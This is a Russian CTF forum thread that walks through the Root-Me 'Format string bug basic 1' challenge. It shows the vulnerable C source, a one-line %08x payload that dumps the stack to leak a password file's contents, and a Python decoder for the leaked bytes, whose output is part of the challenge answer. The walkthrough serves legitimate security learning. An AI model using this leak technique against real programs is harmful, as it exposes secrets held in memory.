HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 03.06.2019, 15:26
fuzzz
Новичок
Регистрация: 03.02.2019
Сообщений: 0
С нами: 3829524

Репутация: 0
По умолчанию

ELF x86 - Format string bug basic 1

Environment configuration :


PIEPosition Independent Executable



RelRORead Only relocations


NXNon-Executable Stack


Heap execNon-Executable Heap


ASLRAddress Space Layout Randomization


SFSource Fortification


SRCSource code access


Source code :

C:


Код:
#include 
#include 
int
main
(
int
argc
,
char
*
argv
[
]
)
{
FILE
*
secret
=
fopen
(
"/challenge/app-systeme/ch5/.passwd"
,
"rt"
)
;
char
buffer
[
32
]
;
fgets
(
buffer
,
sizeof
(
buffer
)
,
secret
)
;
printf
(
argv
[
1
]
)
;
fclose
(
secret
)
;
return
0
;
}
Решение
Этот бинарь без харденинг защит, поэтому тут все просто. Уязвимость тут находится в printf(argv[1]); Так как не были указаны форматы вывода. Эта уязвимость форматной строки. Поэтому у нас есть примитивы как чтения из стека так и запись в память. Тут нам нужен примитив чтения, потому, как флаг находится в файле .passwd.

И мы сможем прочитать от туда данные используя спецификатор формата %x

Суть эксплуатации этой уязвимости заключаться в том, чтобы считать значения со стека. В стеке находится буфер, а в буфере содержимое файла .passwd

Выведем 128 байт из стека 32 * 4 = 128

Код:


Код:
./ch5 $(python -c 'print "%08x."*32')
%08х число после знака процента нужно чтобы отображать по 4 байта

Код:


Код:
FF|FF|FF|FF


Скопируем полученные байты в блокнот.
Данный нам ELF бинарник 32 битный. Архитектура x86
Поэтому все полученные байты выданные нам из стека находятся в перевернутом виде - Little Endian.

Например

Код:


Код:
Если -> 00000020 тогда -> 20|00|00|00
Или вот еще пример
28293664 -> 64|36|29|28
Поэтому чтобы в ручную не переписывать каждую цепочку байтов. Воспользуемся питоном для автоматизации, перевернем все байты, а за одно и декодируем их...

decode_bytes.py

Python:


Код:
bytes
=
[
"00000020"
,
"0804b160"
,
"0804853d"
,
"00000009"
,
"bffffcce"
,
"b7e1c4a9"
,
"bffffba4"
,
"b7fc4000"
,
"b7fc4000"
,
"0804b160"
,
"39617044"
,
"28293664"
,
"6d617045"
,
"bf000a64"
,
"0804861b"
,
"00000002"
,
"bffffba4"
,
"bffffbb0"
,
"119eaa00"
,
"bffffb10"
,
"00000000"
,
"00000000"
,
"b7e04e81"
,
"b7fc4000"
,
"b7fc4000"
,
"00000000"
,
"b7e04e81"
,
"00000002"
,
"bffffba4"
,
"bffffbb0"
,
"bffffb34"
,
"00000001"
]
bytes2
=
[
]
for
y
in
bytes
:
little_endian
=
y
[
6
:
]
+
y
[
4
:
-
2
]
+
y
[
2
:
-
4
]
+
y
[
0
:
-
6
]
bytes2
.
append
(
little_endian
)
for
x
in
bytes2
:
print
x
.
decode
(
'hex'
)
,


После запуска на выходе мы получим такие данные и флаг
 
Ответить с цитированием

  #2  
Старый 31.03.2023, 00:59
B13
Новичок
Регистрация: 04.05.2009
Сообщений: 3
С нами: 8958594

Репутация: 5
По умолчанию

От куда взято число 128 байт?
От куда берется спецификатор формата %x?
 
Ответить с цитированием

  #3  
Старый 02.04.2023, 04:21
fuzzz
Новичок
Регистрация: 03.02.2019
Сообщений: 0
С нами: 3829524

Репутация: 0
По умолчанию

Цитата:

B13 сказал(а):

От куда взято число 128 байт?
От куда берется спецификатор формата %x?

1) буфер 32 байта. адрес 4 байта. перемножаем = 128 байт
2) это фишка которая используется для атак на форматные строки.
 
Ответить с цитированием

  #4  
Старый 02.04.2023, 16:45
B13
Новичок
Регистрация: 04.05.2009
Сообщений: 3
С нами: 8958594

Репутация: 5
По умолчанию

Цитата:

fuzzz сказал(а):

1) буфер 32 байта. адрес 4 байта. перемножаем = 128 байт
2) это фишка которая используется для атак на форматные строки.

так, по 128 байтам, вроде бы понял. А вот по второму вопросу не совсем. Почему взято число %x08 а не какой либо другое или же это так же зависит от количества байт?
 
Ответить с цитированием

  #5  
Старый 02.04.2023, 18:54
fuzzz
Новичок
Регистрация: 03.02.2019
Сообщений: 0
С нами: 3829524

Репутация: 0
По умолчанию

Цитата:

B13 сказал(а):

так, по 128 байтам, вроде бы понял. А вот по второму вопросу не совсем. Почему взято число %x08 а не какой либо другое или же это так же зависит от количества байт?

первая ссылка в гугле C - The %x format specifier
Цитата:

%08x означает, что каждое число должно быть напечатано шириной не менее 8 символов с заполнением всех недостающих цифр нулями, например, для '1' вывод будет 00000001

Потому что адрес состоит из 8 цифр 0x12345678. Это 4 байта. Система 32 битная. х86.
 
Ответить с цитированием

  #6  
Старый 02.04.2023, 21:07
B13
Новичок
Регистрация: 04.05.2009
Сообщений: 3
С нами: 8958594

Репутация: 5
По умолчанию

Цитата:

fuzzz сказал(а):

первая ссылка в гугле C - The %x format specifier

Потому что адрес состоит из 8 цифр 0x12345678. Это 4 байта. Система 32 битная. х86.

значит все правильно понял, спасибо, а то застрял на двнном таске.
 
Ответить с цитированием

  #7  
Старый 03.04.2023, 00:51
fuzzz
Новичок
Регистрация: 03.02.2019
Сообщений: 0
С нами: 3829524

Репутация: 0
По умолчанию

Цитата:

B13 сказал(а):

значит все правильно понял, спасибо, а то застрял на двнном таске.

root-me app system решаешь? Много тасков уже решил?
 
Ответить с цитированием

  #8  
Старый 03.04.2023, 01:42
B13
Новичок
Регистрация: 04.05.2009
Сообщений: 3
С нами: 8958594

Репутация: 5
По умолчанию

Цитата:

fuzzz сказал(а):

root-me app system решаешь? Много тасков уже решил?

да, пытаюсь, начальные пока только смог порешать.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.